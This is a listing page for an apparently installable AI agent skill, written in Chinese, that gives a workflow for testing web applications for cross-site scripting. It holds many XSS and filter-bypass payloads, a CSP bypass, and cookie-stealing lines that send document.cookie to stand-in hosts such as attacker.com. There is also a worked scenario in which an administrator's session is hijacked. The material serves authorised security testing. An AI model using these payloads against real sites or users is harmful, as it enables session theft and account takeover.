testing-for-xss-vulnerabilities
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
Best use case
testing-for-xss-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
Teams using testing-for-xss-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/testing-for-xss-vulnerabilities/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How testing-for-xss-vulnerabilities Compares
| Feature / Agent | testing-for-xss-vulnerabilities | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 测试 XSS 漏洞
## 使用场景
- 作为 OWASP WSTG 测试的一部分,测试 Web 应用程序的客户端注入漏洞
- 评估所有应用功能中输入净化和输出编码的有效性
- 评估内容安全策略(CSP)标头针对 XSS 利用提供的保护
- 通过会话劫持、凭据窃取或网络钓鱼覆盖向相关方演示 XSS 的影响
- 测试单页应用程序(React、Angular、Vue)中客户端路由和渲染的 DOM 型 XSS
**不适用场景**:未获书面授权擅自测试应用程序、部署影响真实用户的持久化 XSS 载荷,或从生产环境中外泄真实用户会话令牌。
## 前置条件
- 授权范围,定义目标 Web 应用程序和可接受的测试活动
- 安装了 XSS 专用扩展(XSS Validator、Reflector、Active Scan++)的 Burp Suite Professional
- 带开发者工具和 XSS 测试扩展(HackBar、XSS Hunter)的浏览器
- XSS Hunter 或 Burp Collaborator,用于带外载荷验证
- SecLists XSS 载荷列表和 WAF 绕过场景的自定义载荷
## 工作流程
### 步骤一:输入和输出映射
映射用户输入进入和被应用程序渲染的每个位置:
- **反射输入**:测试每个 URL 参数、搜索字段、错误消息以及响应中被反射的 HTTP 标头值
- **存储输入**:识别输入被保存后显示给其他用户的功能:用户个人资料、评论、论坛帖子、文件名、支持工单和聊天消息
- **DOM 输入**:识别从 `location.hash`、`location.search`、`document.referrer`、`window.name`、`postMessage` 或 `localStorage` 读取并写入 DOM 的客户端 JavaScript
- **输出上下文识别**:对每个反射输入,确定渲染上下文:
- HTML 正文:`<div>USER_INPUT</div>`
- HTML 属性:`<input value="USER_INPUT">`
- JavaScript 字符串:`var x = 'USER_INPUT';`
- URL 上下文:`<a href="USER_INPUT">`
- CSS 上下文:`<div style="color: USER_INPUT">`
### 步骤二:反射型 XSS 测试
使用适合上下文的载荷测试反射注入点:
- **HTML 正文上下文**:`<script>alert(document.domain)</script>`、`<img src=x onerror=alert(1)>`、`<svg onload=alert(1)>`
- **HTML 属性上下文**:`" onfocus=alert(1) autofocus="`、`" onmouseover=alert(1) "`、`"><script>alert(1)</script>`
- **JavaScript 字符串上下文**:`';alert(1)//`、`\';alert(1)//`、`</script><script>alert(1)</script>`
- **URL/href 上下文**:`javascript:alert(1)`、`data:text/html,<script>alert(1)</script>`
- **HTML 注释内**:`--><script>alert(1)</script><!--`
- **过滤绕过载荷**(当基本载荷被阻止时):
- 大小写变换:`<ScRiPt>alert(1)</sCrIpT>`
- 事件处理器:`<details open ontoggle=alert(1)>`
- SVG:`<svg><animate onbegin=alert(1) attributeName=x>`
- 编码:`<img src=x onerror=alert(1)>`
### 步骤三:存储型 XSS 测试
测试向其他用户渲染输入的持久化存储点:
- 向步骤一中识别的每个存储输入字段提交 XSS 载荷
- 在每个载荷中使用唯一标识符跟踪哪些输入触发:`<script>alert('XSS-PROFILE-001')</script>`
- 检查存储输入被渲染的所有位置(相同输入可能出现在多个页面上)
- 使用包含 JavaScript 的 HTML 文件、带嵌入脚本的 SVG 文件和包含 XSS 载荷的文件名测试文件上传功能
- 通过原始 HTML 模式注入载荷,或在客户端编辑器净化后操控 POST 数据来测试富文本编辑器
- 使用 XSS Hunter 载荷(`"><script src=https://yourxsshunter.xss.ht></script>`)进行盲存储型 XSS 测试,适用于载荷在您无法直接访问的管理面板或内部工具中触发的情况
### 步骤四:DOM 型 XSS 测试
分析客户端 JavaScript 中不安全的 DOM 操控:
- **源点识别**:在 JavaScript 中搜索读取攻击者控制输入的危险源点:
- `document.location`、`document.URL`、`document.referrer`
- `location.hash`、`location.search`、`location.href`
- `window.name`、`postMessage` 事件数据
- **汇点识别**:搜索写入 DOM 的危险汇点:
- `innerHTML`、`outerHTML`、`document.write()`、`document.writeln()`
- `eval()`、`setTimeout()`、`setInterval()`、`Function()`
- 带事件处理器的 `element.setAttribute()`、`jQuery.html()`、`.append()`、`v-html`(Vue)、`dangerouslySetInnerHTML`(React)
- **追踪数据流**:跟踪从源点到汇点的路径。若用户控制的输入未经正确净化就到达危险汇点,则存在 DOM 型 XSS
- **框架特定测试**:测试 React `dangerouslySetInnerHTML`、Angular 模板注入(`{{constructor.constructor('alert(1)')()}}`)、Vue `v-html` 指令
### 步骤五:CSP 绕过与高级利用
测试内容安全策略的有效性并演示真实世界影响:
- **CSP 分析**:审查 CSP 标头的弱点:
- script-src 中的 `unsafe-inline` 允许内联脚本
- `unsafe-eval` 允许 eval() 和类似函数
- 通配符域(`*.googleapis.com`)可能托管可用于 CSP 绕过的 JSONP 端点
- 未设置 `base-uri` 允许 `<base>` 标签注入,重定向相对脚本加载
- **JSONP 绕过**:若 CSP 允许带 JSONP 端点的域,使用 `<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>`
- **影响演示**:
- 会话劫持:`<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>`
- 凭据网络钓鱼:注入虚假登录表单覆盖层,将表单提交到攻击者服务器
- 键盘记录:注入捕获页面上键击的 JavaScript
- 账户接管:使用 XSS 更改受害者的邮箱地址并触发密码重置
## 核心概念
| 术语 | 定义 |
|------|------------|
| **反射型 XSS** | 非持久化 XSS,注入的载荷被包含在对同一请求的服务器响应中,需要受害者点击精心构造的 URL |
| **存储型 XSS** | 持久化 XSS,载荷被保存在服务器上,并服务给查看受影响页面的其他用户 |
| **DOM 型 XSS** | 完全在浏览器中发生的 XSS,当客户端 JavaScript 读取攻击者控制的数据并将其写入危险 DOM 汇点时触发 |
| **内容安全策略(CSP)** | HTTP 响应标头,限制浏览器可以从哪些来源加载脚本、样式和其他资源,提供针对 XSS 的纵深防御 |
| **输出编码** | 将特殊字符转换为其 HTML 实体等效形式(如 `<` 转为 `<`),防止浏览器将用户输入解释为代码 |
| **汇点(Sink)** | 若攻击者控制的数据未经净化就到达,可能导致代码执行或 HTML 渲染的 JavaScript 函数或 DOM 属性 |
## 工具与系统
- **Burp Suite Professional**:带反射型和存储型 XSS 主动扫描的 HTTP 代理,加上用于手动载荷测试的 Repeater 和 Intruder
- **XSS Hunter**:托管服务,生成在触发时回传截图、Cookie 和 DOM 内容的载荷,对盲存储型 XSS 至关重要
- **DOMPurify**:开发人员用于防止 XSS 的客户端净化库;测试人员应测试已部署版本的绕过技术
- **浏览器开发者工具**:控制台、网络和元素标签,用于追踪 DOM 型 XSS 数据流并实时测试载荷
## 常见场景
### 场景:客户支持工单系统中的存储型 XSS
**背景**:一个电子商务平台有客户支持系统,客户提交的工单由支持代理在内部管理面板中查看。工单提交表单接受 HTML 格式。
**方法**:
1. 在工单描述中提交带唯一 XSS Hunter 载荷的支持工单
2. 支持代理在管理面板查看工单时载荷触发,将代理的会话 Cookie、页面 DOM 和截图发送到 XSS Hunter 服务器
3. 使用捕获的管理员会话 Cookie 以支持代理身份访问管理面板
4. 从管理面板访问客户记录、订单数据和退款功能
5. 记录攻击链:客户提交工单 -> 代理查看工单 -> XSS 触发 -> 会话被窃取 -> 管理面板被入侵
6. 测试 CSP 是否能阻止该攻击(本例中不存在 CSP 标头)
**常见陷阱**:
- 仅测试 `<script>alert(1)</script>` 而遗漏通过事件处理器或非 HTML 上下文触发的 XSS
- 未测试渲染给管理用户的功能中的存储型 XSS(支持工单、管理员查看的用户个人资料)
- 忽略单页应用程序中的 DOM 型 XSS,其中服务端代码安全但客户端渲染存在漏洞
- 未检查可能被记录并在管理员仪表板中渲染的 HTTP 标头(Referer、User-Agent)中的 XSS
## 输出格式
```
## 发现:支持工单描述中的存储型 XSS
**ID**: XSS-002
**严重性**: 高危(CVSS 8.1)
**受影响 URL**: POST /api/tickets(提交),GET /admin/tickets/8847(触发)
**参数**: description(POST 请求体)
**XSS 类型**: 存储型(持久化)
**描述**:
支持工单描述字段在存储到数据库之前未对 HTML 输入进行净化。
当支持代理在管理面板查看工单时,未净化的 HTML 在代理浏览器中渲染,
允许在管理应用上下文中执行任意 JavaScript。
**概念验证**:
提交包含以下载荷的工单:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">
当代理查看工单时载荷触发,将管理员会话 Cookie 外泄到 XSS Hunter 服务器。
**影响**:
攻击者可窃取支持代理和管理员的会话令牌,获取管理面板的访问权限,
该面板具有查看客户 PII、处理退款和修改订单的权限。
影响所有 23 名查看客户工单的支持代理。
**修复建议**:
1. 使用上下文感知库实施输出编码(OWASP Java Encoder,
客户端渲染使用 DOMPurify)
2. 部署内容安全策略标头:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. 在会话 Cookie 上设置 HttpOnly 标志,防止 JavaScript 访问
4. 使用白名单方式在服务端净化 HTML 输入(仅允许安全标签)
```Related Skills
triaging-vulnerabilities-with-ssvc-framework
使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。
testing-websocket-api-security
测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。
testing-oauth2-implementation-flaws
测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。
testing-mobile-api-authentication
测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。
testing-jwt-token-security
在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。
testing-for-xxe-injection-vulnerabilities
在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。
testing-for-xss-vulnerabilities-with-burpsuite
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
testing-for-xml-injection-vulnerabilities
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
testing-for-sensitive-data-exposure
在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。
testing-for-open-redirect-vulnerabilities
通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。
testing-for-json-web-token-vulnerabilities
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
testing-for-host-header-injection
测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。